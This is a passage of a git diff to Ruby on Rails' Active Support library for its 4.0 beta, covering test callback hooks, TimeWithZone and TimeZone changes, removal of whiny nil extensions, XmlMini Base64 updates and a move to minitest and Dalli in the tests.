-              result = runner.puke(self.class, method_name, e)
-            end
-          end
-          result
-        end
+      def before_setup
+        super
+        run_callbacks :setup
       end
 
-      module ForClassicTestUnit
-        # For compatibility with Ruby < 1.8.6
-        PASSTHROUGH_EXCEPTIONS = Test::Unit::TestCase::PASSTHROUGH_EXCEPTIONS rescue [NoMemoryError, SignalException, Interrupt, SystemExit]
-
-        # This redefinition is unfortunate but test/unit shows us no alternative.
-        # Doubly unfortunate: hax to support Mocha's hax.
-        def run(result)
-          return if @method_name.to_s == "default_test"
-
-          mocha_counter = retrieve_mocha_counter(result)
-          yield(Test::Unit::TestCase::STARTED, name)
-          @_result = result
-
-          begin
-            begin
-              run_callbacks :setup do
-                setup
-                __send__(@method_name)
-                mocha_verify(mocha_counter) if mocha_counter
-              end
-            rescue Mocha::ExpectationError => e
-              add_failure(e.message, e.backtrace)
-            rescue Test::Unit::AssertionFailedError => e
-              add_failure(e.message, e.backtrace)
-            rescue Exception => e
-              raise if PASSTHROUGH_EXCEPTIONS.include?(e.class)
-              add_error(e)
-            ensure
-              begin
-                teardown
-                run_callbacks :teardown
-              rescue Test::Unit::AssertionFailedError => e
-                add_failure(e.message, e.backtrace)
-              rescue Exception => e
-                raise if PASSTHROUGH_EXCEPTIONS.include?(e.class)
-                add_error(e)
-              end
-            end
-          ensure
-            mocha_teardown if mocha_counter
-          end
-
-          result.add_run
-          yield(Test::Unit::TestCase::FINISHED, name)
-        end
-
-        protected
-
-        def retrieve_mocha_counter(result) #:nodoc:
-          if respond_to?(:mocha_verify) # using mocha
-            if defined?(Mocha::TestCaseAdapter::AssertionCounter)
-              Mocha::TestCaseAdapter::AssertionCounter.new(result)
-            else
-              Mocha::Integration::TestUnit::AssertionCounter.new(result)
-            end
-          end
-        end
+      def after_teardown
+        run_callbacks :teardown
+        super
       end
-
     end
   end
 end
diff --git a/activesupport/lib/active_support/time.rb b/activesupport/lib/active_support/time.rb
index 86f057d676..bcd5d78b54 100644
--- a/activesupport/lib/active_support/time.rb
+++ b/activesupport/lib/active_support/time.rb
@@ -4,16 +4,11 @@ module ActiveSupport
   autoload :Duration, 'active_support/duration'
   autoload :TimeWithZone, 'active_support/time_with_zone'
   autoload :TimeZone, 'active_support/values/time_zone'
-
-  on_load_all do
-    [Duration, TimeWithZone, TimeZone]
-  end
 end
 
 require 'date'
 require 'time'
 
-require 'active_support/core_ext/time/publicize_conversion_methods'
 require 'active_support/core_ext/time/marshal'
 require 'active_support/core_ext/time/acts_like'
 require 'active_support/core_ext/time/calculations'
@@ -21,7 +16,6 @@ require 'active_support/core_ext/time/conversions'
 require 'active_support/core_ext/time/zones'
 
 require 'active_support/core_ext/date/acts_like'
-require 'active_support/core_ext/date/freeze'
 require 'active_support/core_ext/date/calculations'
 require 'active_support/core_ext/date/conversions'
 require 'active_support/core_ext/date/zones'
diff --git a/activesupport/lib/active_support/time/autoload.rb b/activesupport/lib/active_support/time/autoload.rb
deleted file mode 100644
index c9a7731b39..0000000000
--- a/activesupport/lib/active_support/time/autoload.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-module ActiveSupport
-  autoload :Duration, 'active_support/duration'
-  autoload :TimeWithZone, 'active_support/time_with_zone'
-  autoload :TimeZone, 'active_support/values/time_zone'
-end
diff --git a/activesupport/lib/active_support/time_with_zone.rb b/activesupport/lib/active_support/time_with_zone.rb
index 63279d0e6d..93c2d614f5 100644
--- a/activesupport/lib/active_support/time_with_zone.rb
+++ b/activesupport/lib/active_support/time_with_zone.rb
@@ -1,6 +1,5 @@
-require "active_support/values/time_zone"
+require 'active_support/values/time_zone'
 require 'active_support/core_ext/object/acts_like'
-require 'active_support/core_ext/object/inclusion'
 
 module ActiveSupport
   # A Time-like class that can represent a time in any time zone. Necessary because standard Ruby Time instances are
@@ -8,7 +7,6 @@ module ActiveSupport
   #
   # You shouldn't ever need to create a TimeWithZone instance directly via <tt>new</tt> . Instead use methods
   # +local+, +parse+, +at+ and +now+ on TimeZone instances, and +in_time_zone+ on Time and DateTime instances.
-  # Examples:
   #
   #   Time.zone = 'Eastern Time (US & Canada)'        # => 'Eastern Time (US & Canada)'
   #   Time.zone.local(2007, 2, 10, 15, 30, 45)        # => Sat, 10 Feb 2007 15:30:45 EST -05:00
@@ -20,7 +18,6 @@ module ActiveSupport
   # See Time and TimeZone for further documentation of these methods.
   #
   # TimeWithZone instances implement the same API as Ruby Time instances, so that Time and TimeWithZone instances are interchangeable.
-  # Examples:
   #
   #   t = Time.zone.now                     # => Sun, 18 May 2008 13:27:25 EDT -04:00
   #   t.hour                                # => 13
@@ -35,8 +32,10 @@ module ActiveSupport
   #   t.is_a?(ActiveSupport::TimeWithZone)  # => true
   #
   class TimeWithZone
+
+    # Report class name as 'Time' to thwart type checking
     def self.name
-      'Time' # Report class name as 'Time' to thwart type checking
+      'Time'
     end
 
     include Comparable
@@ -120,8 +119,6 @@ module ActiveSupport
     # %Y/%m/%d %H:%M:%S +offset style by setting <tt>ActiveSupport::JSON::Encoding.use_standard_json_time_format</tt>
     # to false.
     #
-    # ==== Examples
-    #
     #   # With ActiveSupport::JSON::Encoding.use_standard_json_time_format = true
     #   Time.utc(2005,2,1,15,15,10).in_time_zone.to_json
     #   # => "2005-02-01T15:15:10Z"
@@ -146,12 +143,6 @@ module ActiveSupport
       end
     end
 
-    def to_yaml(options = {})
-      return super if defined?(YAML::ENGINE) && !YAML::ENGINE.syck?
-
-      utc.to_yaml(options)
-    end
-
     def httpdate
       utc.httpdate
     end
@@ -203,7 +194,11 @@ module ActiveSupport
     end
 
     def eql?(other)
-      utc == other
+      utc.eql?(other)
+    end
+
+    def hash
+      utc.hash
     end
 
     def +(other)
@@ -277,7 +272,6 @@ module ActiveSupport
     def to_i
       utc.to_i
     end
-    alias_method :hash, :to_i
     alias_method :tv_sec, :to_i
 
     # A TimeWithZone acts like a Time, so just return +self+.
@@ -314,16 +308,15 @@ module ActiveSupport
     end
 
     # Ensure proxy class responds to all methods that underlying time instance responds to.
-    def respond_to?(sym, include_priv = false)
+    def respond_to_missing?(sym, include_priv)
       # consistently respond false to acts_like?(:date), regardless of whether #time is a Time or DateTime
-      return false if sym.to_s == 'acts_like_date?'
-      super || time.respond_to?(sym, include_priv)
+      return false if sym.to_sym == :acts_like_date?
+      time.respond_to?(sym, include_priv)
     end
 
     # Send the missing method to +time+ instance, and wrap result in a new TimeWithZone with the existing +time_zone+.
     def method_missing(sym, *args, &block)
-      result = time.__send__(sym, *args, &block)
-      result.acts_like?(:time) ? self.class.new(nil, time_zone, result) : result
+      wrap_with_time_zone time.__send__(sym, *args, &block)
     end
 
     private
@@ -341,11 +334,21 @@ module ActiveSupport
       end
 
       def transfer_time_values_to_utc_constructor(time)
-        ::Time.utc_time(time.year, time.month, time.day, time.hour, time.min, time.sec, time.respond_to?(:usec) ? time.usec : 0)
+        ::Time.utc_time(time.year, time.month, time.day, time.hour, time.min, time.sec, time.respond_to?(:nsec) ? Rational(time.nsec, 1000) : 0)
       end
 
       def duration_of_variable_length?(obj)
-        ActiveSupport::Duration === obj && obj.parts.any? {|p| p[0].in?([:years, :months, :days]) }
+        ActiveSupport::Duration === obj && obj.parts.any? {|p| [:years, :months, :days].include?(p[0]) }
+      end
+
+      def wrap_with_time_zone(time)
+        if time.acts_like?(:time)
+          self.class.new(nil, time_zone, time)
+        elsif time.is_a?(Range)
+          wrap_with_time_zone(time.begin)..wrap_with_time_zone(time.end)
+        else
+          time
+        end
       end
   end
 end
diff --git a/activesupport/lib/active_support/values/time_zone.rb b/activesupport/lib/active_support/values/time_zone.rb
index 35f400f9df..cc3e6a4bf3 100644
--- a/activesupport/lib/active_support/values/time_zone.rb
+++ b/activesupport/lib/active_support/values/time_zone.rb
@@ -1,34 +1,34 @@
 require 'active_support/core_ext/object/blank'
 require 'active_support/core_ext/object/try'
 
-# The TimeZone class serves as a wrapper around TZInfo::Timezone instances. It allows us to do the following:
-#
-# * Limit the set of zones provided by TZInfo to a meaningful subset of 142 zones.
-# * Retrieve and display zones with a friendlier name (e.g., "Eastern Time (US & Canada)" instead of "America/New_York").
-# * Lazily load TZInfo::Timezone instances only when they're needed.
-# * Create ActiveSupport::TimeWithZone instances via TimeZone's +local+, +parse+, +at+ and +now+ methods.
-#
-# If you set <tt>config.time_zone</tt> in the Rails Application, you can access this TimeZone object via <tt>Time.zone</tt>:
-#
-#   # application.rb:
-#   class Application < Rails::Application
-#     config.time_zone = "Eastern Time (US & Canada)"
-#   end
-#
-#   Time.zone       # => #<TimeZone:0x514834...>
-#   Time.zone.name  # => "Eastern Time (US & Canada)"
-#   Time.zone.now   # => Sun, 18 May 2008 14:30:44 EDT -04:00
-#
-# The version of TZInfo bundled with Active Support only includes the definitions necessary to support the zones
-# defined by the TimeZone class. If you need to use zones that aren't defined by TimeZone, you'll need to install the TZInfo gem
-# (if a recent version of the gem is installed locally, this will be used instead of the bundled version.)
 module ActiveSupport
+  # The TimeZone class serves as a wrapper around TZInfo::Timezone instances. It allows us to do the following:
+  #
+  # * Limit the set of zones provided by TZInfo to a meaningful subset of 142 zones.
+  # * Retrieve and display zones with a friendlier name (e.g., "Eastern Time (US & Canada)" instead of "America/New_York").
+  # * Lazily load TZInfo::Timezone instances only when they're needed.
+  # * Create ActiveSupport::TimeWithZone instances via TimeZone's +local+, +parse+, +at+ and +now+ methods.
+  #
+  # If you set <tt>config.time_zone</tt> in the Rails Application, you can access this TimeZone object via <tt>Time.zone</tt>:
+  #
+  #   # application.rb:
+  #   class Application < Rails::Application
+  #     config.time_zone = "Eastern Time (US & Canada)"
+  #   end
+  #
+  #   Time.zone       # => #<TimeZone:0x514834...>
+  #   Time.zone.name  # => "Eastern Time (US & Canada)"
+  #   Time.zone.now   # => Sun, 18 May 2008 14:30:44 EDT -04:00
+  #
+  # The version of TZInfo bundled with Active Support only includes the definitions necessary to support the zones
+  # defined by the TimeZone class. If you need to use zones that aren't defined by TimeZone, you'll need to install the TZInfo gem
+  # (if a recent version of the gem is installed locally, this will be used instead of the bundled version.)
   class TimeZone
     # Keys are Rails TimeZone names, values are TZInfo identifiers
     MAPPING = {
       "International Date Line West" => "Pacific/Midway",
       "Midway Island"                => "Pacific/Midway",
-      "Samoa"                        => "Pacific/Pago_Pago",
+      "American Samoa"               => "Pacific/Pago_Pago",
       "Hawaii"                       => "Pacific/Honolulu",
       "Alaska"                       => "America/Juneau",
       "Pacific Time (US & Canada)"   => "America/Los_Angeles",
@@ -167,15 +167,16 @@ module ActiveSupport
       "Marshall Is."                 => "Pacific/Majuro",
       "Auckland"                     => "Pacific/Auckland",
       "Wellington"                   => "Pacific/Auckland",
-      "Nuku'alofa"                   => "Pacific/Tongatapu"
-    }.each { |name, zone| name.freeze; zone.freeze }
-    MAPPING.freeze
+      "Nuku'alofa"                   => "Pacific/Tongatapu",
+      "Tokelau Is."                  => "Pacific/Fakaofo",
+      "Samoa"                        => "Pacific/Apia"
+    }
 
     UTC_OFFSET_WITH_COLON = '%s%02d:%02d'
     UTC_OFFSET_WITHOUT_COLON = UTC_OFFSET_WITH_COLON.sub(':', '')
 
     # Assumes self represents an offset from UTC in seconds (as returned from Time#utc_offset)
-    # and turns this into an +HH:MM formatted string. Example:
+    # and turns this into an +HH:MM formatted string.
     #
     #   TimeZone.seconds_to_utc_offset(-21_600) # => "-06:00"
     def self.seconds_to_utc_offset(seconds, colon = true)
@@ -203,6 +204,7 @@ module ActiveSupport
       @current_period = nil
     end
 
+    # Returns the offset of this time zone from UTC in seconds.
     def utc_offset
       if @utc_offset
         @utc_offset
@@ -237,7 +239,7 @@ module ActiveSupport
       "(GMT#{formatted_offset}) #{name}"
     end
 
-    # Method for creating new ActiveSupport::TimeWithZone instance in time zone of +self+ from given values. Example:
+    # Method for creating new ActiveSupport::TimeWithZone instance in time zone of +self+ from given values.
     #
     #   Time.zone = "Hawaii"                      # => "Hawaii"
     #   Time.zone.local(2007, 2, 1, 15, 30, 45)   # => Thu, 01 Feb 2007 15:30:45 HST -10:00
@@ -246,17 +248,16 @@ module ActiveSupport
       ActiveSupport::TimeWithZone.new(nil, self, time)
     end
 
-    # Method for creating new ActiveSupport::TimeWithZone instance in time zone of +self+ from number of seconds since the Unix epoch. Example:
+    # Method for creating new ActiveSupport::TimeWithZone instance in time zone of +self+ from number of seconds since the Unix epoch.
     #
     #   Time.zone = "Hawaii"        # => "Hawaii"
     #   Time.utc(2000).to_f         # => 946684800.0
     #   Time.zone.at(946684800.0)   # => Fri, 31 Dec 1999 14:00:00 HST -10:00
     def at(secs)
-      utc = Time.at(secs).utc rescue DateTime.civil(1970).since(secs)
-      utc.in_time_zone(self)
+      Time.at(secs).utc.in_time_zone(self)
     end
 
-    # Method for creating new ActiveSupport::TimeWithZone instance in time zone of +self+ from parsed string. Example:
+    # Method for creating new ActiveSupport::TimeWithZone instance in time zone of +self+ from parsed string.
     #
     #   Time.zone = "Hawaii"                      # => "Hawaii"
     #   Time.zone.parse('1999-12-31 14:00:00')    # => Fri, 31 Dec 1999 14:00:00 HST -10:00
@@ -267,9 +268,14 @@ module ActiveSupport
     #   Time.zone.parse('22:30:00')   # => Fri, 31 Dec 1999 22:30:00 HST -10:00
     def parse(str, now=now)
       date_parts = Date._parse(str)
-      return if date_parts.blank?
+      return if date_parts.empty?
       time = Time.parse(str, now) rescue DateTime.parse(str)
+
       if date_parts[:offset].nil?
+        if date_parts[:hour] && time.hour != date_parts[:hour]
+          time = DateTime.parse(str)
+        end
+
         ActiveSupport::TimeWithZone.new(nil, self, time)
       else
         time.in_time_zone(self)
@@ -277,12 +283,12 @@ module ActiveSupport
     end
 
     # Returns an ActiveSupport::TimeWithZone instance representing the current time
-    # in the time zone represented by +self+. Example:
+    # in the time zone represented by +self+.
     #
     #   Time.zone = 'Hawaii'  # => "Hawaii"
     #   Time.zone.now         # => Wed, 23 Jan 2008 20:24:27 HST -10:00
     def now
-      Time.now.utc.in_time_zone(self)
+      time_now.utc.in_time_zone(self)
     end
 
     # Return the current date in this time zone.
@@ -391,5 +397,11 @@ module ActiveSupport
           end
         end
     end
+
+    private
+
+    def time_now
+      Time.now
+    end
   end
 end
diff --git a/activesupport/lib/active_support/values/unicode_tables.dat b/activesupport/lib/active_support/values/unicode_tables.dat
index 4fe0268cca..df17a8cccf 100644
--- a/activesupport/lib/active_support/values/unicode_tables.dat
+++ b/activesupport/lib/active_support/values/unicode_tables.dat
diff --git a/activesupport/lib/active_support/version.rb b/activesupport/lib/active_support/version.rb
index bd8e7f907a..8a8f8f946d 100644
--- a/activesupport/lib/active_support/version.rb
+++ b/activesupport/lib/active_support/version.rb
@@ -1,7 +1,7 @@
 module ActiveSupport
   module VERSION #:nodoc:
-    MAJOR = 3
-    MINOR = 2
+    MAJOR = 4
+    MINOR = 0
     TINY  = 0
     PRE   = "beta"
 
diff --git a/activesupport/lib/active_support/whiny_nil.rb b/activesupport/lib/active_support/whiny_nil.rb
deleted file mode 100644
index 577db5018e..0000000000
--- a/activesupport/lib/active_support/whiny_nil.rb
+++ /dev/null
@@ -1,60 +0,0 @@
-# Extensions to +nil+ which allow for more helpful error messages for people who
-# are new to Rails.
-#
-# Ruby raises NoMethodError if you invoke a method on an object that does not
-# respond to it:
-#
-#   $ ruby -e nil.destroy
-#   -e:1: undefined method `destroy' for nil:NilClass (NoMethodError)
-#
-# With these extensions, if the method belongs to the public interface of the
-# classes in NilClass::WHINERS the error message suggests which could be the
-# actual intended class:
-#
-#   $ rails runner nil.destroy
-#   ...
-#   You might have expected an instance of ActiveRecord::Base.
-#   ...
-#
-# NilClass#id exists in Ruby 1.8 (though it is deprecated). Since +id+ is a fundamental
-# method of Active Record models NilClass#id is redefined as well to raise a RuntimeError
-# and warn the user. She probably wanted a model database identifier and the 4
-# returned by the original method could result in obscure bugs.
-#
-# The flag <tt>config.whiny_nils</tt> determines whether this feature is enabled.
-# By default it is on in development and test modes, and it is off in production
-# mode.
-class NilClass
-  METHOD_CLASS_MAP = Hash.new
-
-  def self.add_whiner(klass)
-    methods = klass.public_instance_methods - public_instance_methods
-    class_name = klass.name
-    methods.each { |method| METHOD_CLASS_MAP[method.to_sym] = class_name }
-  end
-
-  add_whiner ::Array
-
-  # Raises a RuntimeError when you attempt to call +id+ on +nil+.
-  def id
-    raise RuntimeError, "Called id for nil, which would mistakenly be #{object_id} -- if you really wanted the id of nil, use object_id", caller
-  end
-
-  private
-    def method_missing(method, *args)
-      if klass = METHOD_CLASS_MAP[method]
-        raise_nil_warning_for klass, method, caller
-      else
-        super
-      end
-    end
-
-    # Raises a NoMethodError when you attempt to call a method on +nil+.
-    def raise_nil_warning_for(class_name = nil, selector = nil, with_caller = nil)
-      message = "You have a nil object when you didn't expect it!"
-      message << "\nYou might have expected an instance of #{class_name}." if class_name
-      message << "\nThe error occurred while evaluating nil.#{selector}" if selector
-
-      raise NoMethodError, message, with_caller || caller
-    end
-end
diff --git a/activesupport/lib/active_support/xml_mini.rb b/activesupport/lib/active_support/xml_mini.rb
index 1ea9a9d7e1..88f9acb588 100644
--- a/activesupport/lib/active_support/xml_mini.rb
+++ b/activesupport/lib/active_support/xml_mini.rb
@@ -1,4 +1,5 @@
 require 'time'
+require 'base64'
 require 'active_support/core_ext/module/delegation'
 require 'active_support/core_ext/string/inflections'
 
@@ -38,8 +39,8 @@ module ActiveSupport
       "TrueClass"  => "boolean",
       "FalseClass" => "boolean",
       "Date"       => "date",
-      "DateTime"   => "datetime",
-      "Time"       => "datetime",
+      "DateTime"   => "dateTime",
+      "Time"       => "dateTime",
       "Array"      => "array",
       "Hash"       => "hash"
     } unless defined?(TYPE_NAMES)
@@ -47,8 +48,8 @@ module ActiveSupport
     FORMATTING = {
       "symbol"   => Proc.new { |symbol| symbol.to_s },
       "date"     => Proc.new { |date| date.to_s(:db) },
-      "datetime" => Proc.new { |time| time.xmlschema },
-      "binary"   => Proc.new { |binary| ActiveSupport::Base64.encode64(binary) },
+      "dateTime" => Proc.new { |time| time.xmlschema },
+      "binary"   => Proc.new { |binary| ::Base64.encode64(binary) },
       "yaml"     => Proc.new { |yaml| yaml.to_yaml }
     } unless defined?(FORMATTING)
 
@@ -64,7 +65,7 @@ module ActiveSupport
         "boolean"      => Proc.new { |boolean| %w(1 true).include?(boolean.strip) },
         "string"       => Proc.new { |string|  string.to_s },
         "yaml"         => Proc.new { |yaml|    YAML::load(yaml) rescue yaml },
-        "base64Binary" => Proc.new { |bin|     ActiveSupport::Base64.decode64(bin) },
+        "base64Binary" => Proc.new { |bin|     ::Base64.decode64(bin) },
         "binary"       => Proc.new { |bin, entity| _parse_binary(bin, entity) },
         "file"         => Proc.new { |file, entity| _parse_file(file, entity) }
       }
@@ -82,7 +83,7 @@ module ActiveSupport
       if name.is_a?(Module)
         @backend = name
       else
-        require "active_support/xml_mini/#{name.to_s.downcase}"
+        require "active_support/xml_mini/#{name.downcase}"
         @backend = ActiveSupport.const_get("XmlMini_#{name}")
       end
     end
@@ -110,6 +111,7 @@ module ActiveSupport
         type_name ||= TYPE_NAMES[value.class.name]
         type_name ||= value.class.name if value && !value.respond_to?(:to_str)
         type_name   = type_name.to_s   if type_name
+        type_name   = "dateTime" if type_name == "datetime"
 
         key = rename_key(key.to_s, options)
 
@@ -144,18 +146,18 @@ module ActiveSupport
       "#{left}#{middle.tr('_ ', '--')}#{right}"
     end
 
-	  # TODO: Add support for other encodings
+    # TODO: Add support for other encodings
     def _parse_binary(bin, entity) #:nodoc:
       case entity['encoding']
       when 'base64'
-        ActiveSupport::Base64.decode64(bin)
+        ::Base64.decode64(bin)
       else
         bin
       end
     end
 
     def _parse_file(file, entity)
-      f = StringIO.new(ActiveSupport::Base64.decode64(file))
+      f = StringIO.new(::Base64.decode64(file))
       f.extend(FileLike)
       f.original_filename = entity['name']
       f.content_type = entity['content_type']
diff --git a/activesupport/lib/active_support/xml_mini/jdom.rb b/activesupport/lib/active_support/xml_mini/jdom.rb
index 6c222b83ba..4551dd2f2d 100644
--- a/activesupport/lib/active_support/xml_mini/jdom.rb
+++ b/activesupport/lib/active_support/xml_mini/jdom.rb
@@ -12,7 +12,6 @@ java_import org.xml.sax.InputSource unless defined? InputSource
 java_import org.xml.sax.Attributes unless defined? Attributes
 java_import org.w3c.dom.Node unless defined? Node
 
-# = XmlMini JRuby JDOM implementation
 module ActiveSupport
   module XmlMini_JDOM #:nodoc:
     extend self
@@ -71,7 +70,7 @@ module ActiveSupport
 
       child_nodes = element.child_nodes
       if child_nodes.length > 0
-        for i in 0...child_nodes.length
+        (0...child_nodes.length).each do |i|
           child = child_nodes.item(i)
           merge_element!(hash, child) unless child.node_type == Node.TEXT_NODE
         end
@@ -133,7 +132,7 @@ module ActiveSupport
     def get_attributes(element)
       attribute_hash = {}
       attributes = element.attributes
-      for i in 0...attributes.length
+      (0...attributes.length).each do |i|
          attribute_hash[CONTENT_KEY] ||= ''
          attribute_hash[attributes.item(i).name] =  attributes.item(i).value
        end
@@ -147,7 +146,7 @@ module ActiveSupport
     def texts(element)
       texts = []
       child_nodes = element.child_nodes
-      for i in 0...child_nodes.length
+      (0...child_nodes.length).each do |i|
         item = child_nodes.item(i)
         if item.node_type == Node.TEXT_NODE
           texts << item.get_data
@@ -163,7 +162,7 @@ module ActiveSupport
     def empty_content?(element)
       text = ''
       child_nodes = element.child_nodes
-      for i in 0...child_nodes.length
+      (0...child_nodes.length).each do |i|
         item = child_nodes.item(i)
         if item.node_type == Node.TEXT_NODE
           text << item.get_data.strip
diff --git a/activesupport/lib/active_support/xml_mini/libxml.rb b/activesupport/lib/active_support/xml_mini/libxml.rb
index 16570c6aea..26556598fd 100644
--- a/activesupport/lib/active_support/xml_mini/libxml.rb
+++ b/activesupport/lib/active_support/xml_mini/libxml.rb
@@ -2,7 +2,6 @@ require 'libxml'
 require 'active_support/core_ext/object/blank'
 require 'stringio'
 
-# = XmlMini LibXML implementation
 module ActiveSupport
   module XmlMini_LibXML #:nodoc:
     extend self
diff --git a/activesupport/lib/active_support/xml_mini/libxmlsax.rb b/activesupport/lib/active_support/xml_mini/libxmlsax.rb
index 2536b1f33e..acc018fd2d 100644
--- a/activesupport/lib/active_support/xml_mini/libxmlsax.rb
+++ b/activesupport/lib/active_support/xml_mini/libxmlsax.rb
@@ -2,9 +2,8 @@ require 'libxml'
 require 'active_support/core_ext/object/blank'
 require 'stringio'
 
-# = XmlMini LibXML implementation using a SAX-based parser
 module ActiveSupport
-  module XmlMini_LibXMLSAX
+  module XmlMini_LibXMLSAX #:nodoc:
     extend self
 
     # Class that will build the hash while the XML document
diff --git a/activesupport/lib/active_support/xml_mini/nokogiri.rb b/activesupport/lib/active_support/xml_mini/nokogiri.rb
index 04ec9e8ab8..bb0a52bdcf 100644
--- a/activesupport/lib/active_support/xml_mini/nokogiri.rb
+++ b/activesupport/lib/active_support/xml_mini/nokogiri.rb
@@ -7,7 +7,6 @@ end
 require 'active_support/core_ext/object/blank'
 require 'stringio'
 
-# = XmlMini Nokogiri implementation
 module ActiveSupport
   module XmlMini_Nokogiri #:nodoc:
     extend self
diff --git a/activesupport/lib/active_support/xml_mini/nokogirisax.rb b/activesupport/lib/active_support/xml_mini/nokogirisax.rb
index 93fd3dfe57..30b94aac47 100644
--- a/activesupport/lib/active_support/xml_mini/nokogirisax.rb
+++ b/activesupport/lib/active_support/xml_mini/nokogirisax.rb
@@ -7,9 +7,8 @@ end
 require 'active_support/core_ext/object/blank'
 require 'stringio'
 
-# = XmlMini Nokogiri implementation using a SAX-based parser
 module ActiveSupport
-  module XmlMini_NokogiriSAX
+  module XmlMini_NokogiriSAX #:nodoc:
     extend self
 
     # Class that will build the hash while the XML document
diff --git a/activesupport/lib/active_support/xml_mini/rexml.rb b/activesupport/lib/active_support/xml_mini/rexml.rb
index a13ad10118..a2a87337a6 100644
--- a/activesupport/lib/active_support/xml_mini/rexml.rb
+++ b/activesupport/lib/active_support/xml_mini/rexml.rb
@@ -2,7 +2,6 @@ require 'active_support/core_ext/kernel/reporting'
 require 'active_support/core_ext/object/blank'
 require 'stringio'
 
-# = XmlMini ReXML implementation
 module ActiveSupport
   module XmlMini_REXML #:nodoc:
     extend self
diff --git a/activesupport/test/abstract_unit.rb b/activesupport/test/abstract_unit.rb
index 0382739871..34c9e920bc 100644
--- a/activesupport/test/abstract_unit.rb
+++ b/activesupport/test/abstract_unit.rb
@@ -7,58 +7,29 @@ ensure
   $VERBOSE = old
 end
 
-lib = File.expand_path("#{File.dirname(__FILE__)}/../lib")
-$:.unshift(lib) unless $:.include?('lib') || $:.include?(lib)
-
 require 'active_support/core_ext/kernel/reporting'
-
 require 'active_support/core_ext/string/encoding'
-if "ruby".encoding_aware?
-  # These are the normal settings that will be set up by Railties
-  # TODO: Have these tests support other combinations of these values
-  silence_warnings do
-    Encoding.default_internal = "UTF-8"
-    Encoding.default_external = "UTF-8"
-  end
+
+silence_warnings do
+  Encoding.default_internal = "UTF-8"
+  Encoding.default_external = "UTF-8"
 end
 
-require 'test/unit'
+require 'minitest/autorun'
 require 'empty_bool'
 
-silence_warnings { require 'mocha' }
-
 ENV['NO_RELOAD'] = '1'
 require 'active_support'
 
-# Include shims until we get off 1.8.6
-require 'active_support/ruby/shim' if RUBY_VERSION < '1.8.7'
-
 def uses_memcached(test_name)
-  require 'memcache'
+  require 'dalli'
   begin
-    MemCache.new('localhost:11211').stats
+    Dalli::Client.new('localhost:11211').stats
     yield
-  rescue MemCache::MemCacheError
+  rescue Dalli::DalliError
     $stderr.puts "Skipping #{test_name} tests. Start memcached and try again."
   end
 end
 
-def with_kcode(code)
-  if RUBY_VERSION < '1.9'
-    begin
-      old_kcode, $KCODE = $KCODE, code
-      yield
-    ensure
-      $KCODE = old_kcode
-    end
-  else
-    yield
-  end
-end
-
 # Show backtraces for deprecated behavior for quicker cleanup.
 ActiveSupport::Deprecation.debug = true
-
-if RUBY_VERSION < '1.9'
-  $KCODE = 'UTF8'
-end
diff --git a/activesupport/test/autoload.rb b/activesupport/test/autoload.rb
deleted file mode 100644
index 5d8026a9ca..0000000000
--- a/activesupport/test/autoload.rb
+++ /dev/null
@@ -1,80 +0,0 @@
-require 'abstract_unit'
-
-class TestAutoloadModule < ActiveSupport::TestCase
-  include ActiveSupport::Testing::Isolation
-
-  module ::Fixtures
-    extend ActiveSupport::Autoload
-
-    module Autoload
-      extend ActiveSupport::Autoload
-    end
-  end
-
-  test "the autoload module works like normal autoload" do
-    module ::Fixtures::Autoload
-      autoload :SomeClass, "fixtures/autoload/some_class"
-    end
-
-    assert_nothing_raised { ::Fixtures::Autoload::SomeClass }
-  end
-
-  test "when specifying an :eager constant it still works like normal autoload by default" do
-    module ::Fixtures::Autoload
-      autoload :SomeClass, "fixtures/autoload/some_class"
-    end
-
-    assert !$LOADED_FEATURES.include?("fixtures/autoload/some_class.rb")
-    assert_nothing_raised { ::Fixtures::Autoload::SomeClass }
-  end
-
-  test ":eager constants can be triggered via ActiveSupport::Autoload.eager_autoload!" do
-    module ::Fixtures::Autoload
-      autoload :SomeClass, "fixtures/autoload/some_class"
-    end
-    ActiveSupport::Autoload.eager_autoload!
-    assert $LOADED_FEATURES.include?("fixtures/autoload/some_class.rb")
-    assert_nothing_raised { ::Fixtures::Autoload::SomeClass }
-  end
-
-  test "the location of autoloaded constants defaults to :name.underscore" do
-    module ::Fixtures::Autoload
-      autoload :SomeClass
-    end
-
-    assert !$LOADED_FEATURES.include?("fixtures/autoload/some_class.rb")
-    assert_nothing_raised { ::Fixtures::Autoload::SomeClass }
-  end
-
-  test "the location of :eager autoloaded constants defaults to :name.underscore" do
-    module ::Fixtures::Autoload
-      autoload :SomeClass
-    end
-
-    ActiveSupport::Autoload.eager_autoload!
-    assert $LOADED_FEATURES.include?("fixtures/autoload/some_class.rb")
-    assert_nothing_raised { ::Fixtures::Autoload::SomeClass }
-  end
-
-  test "a directory for a block of autoloads can be specified" do
-    module ::Fixtures
-      autoload_under "autoload" do
-        autoload :AnotherClass
-      end
-    end
-
-    assert !$LOADED_FEATURES.include?("fixtures/autoload/another_class.rb")
-    assert_nothing_raised { ::Fixtures::AnotherClass }
-  end
-
-  test "a path for a block of autoloads can be specified" do
-    module ::Fixtures
-      autoload_at "fixtures/autoload/another_class" do
-        autoload :AnotherClass
-      end
-    end
-
-    assert !$LOADED_FEATURES.include?("fixtures/autoload/another_class.rb")
-    assert_nothing_raised { ::Fixtures::AnotherClass }
-  end
-end
\ No newline at end of file
diff --git a/activesupport/test/autoload_test.rb b/activesupport/test/autoload_test.rb
new file mode 100644
index 0000000000..7d02d835a8
--- /dev/null
+++ b/activesupport/test/autoload_test.rb
@@ -0,0 +1,70 @@
+require 'abstract_unit'
+
+class TestAutoloadModule < ActiveSupport::TestCase
+  include ActiveSupport::Testing::Isolation
+
+  module ::Fixtures
+    extend ActiveSupport::Autoload
+
+    module Autoload
+      extend ActiveSupport::Autoload
+    end
+  end
+
+  test "the autoload module works like normal autoload" do
+    module ::Fixtures::Autoload
+      autoload :SomeClass, "fixtures/autoload/some_class"
+    end
+
+    assert_nothing_raised { ::Fixtures::Autoload::SomeClass }
+  end
+
+  test "when specifying an :eager constant it still works like normal autoload by default" do
+    module ::Fixtures::Autoload
+      autoload :SomeClass, "fixtures/autoload/some_class"
+    end
+
+    assert !$LOADED_FEATURES.include?("fixtures/autoload/some_class.rb")
+    assert_nothing_raised { ::Fixtures::Autoload::SomeClass }
+  end
+
+  test "the location of autoloaded constants defaults to :name.underscore" do
+    module ::Fixtures::Autoload
+      autoload :SomeClass
+    end
+
+    assert !$LOADED_FEATURES.include?("fixtures/autoload/some_class.rb")
+    assert_nothing_raised { ::Fixtures::Autoload::SomeClass }
+  end
+
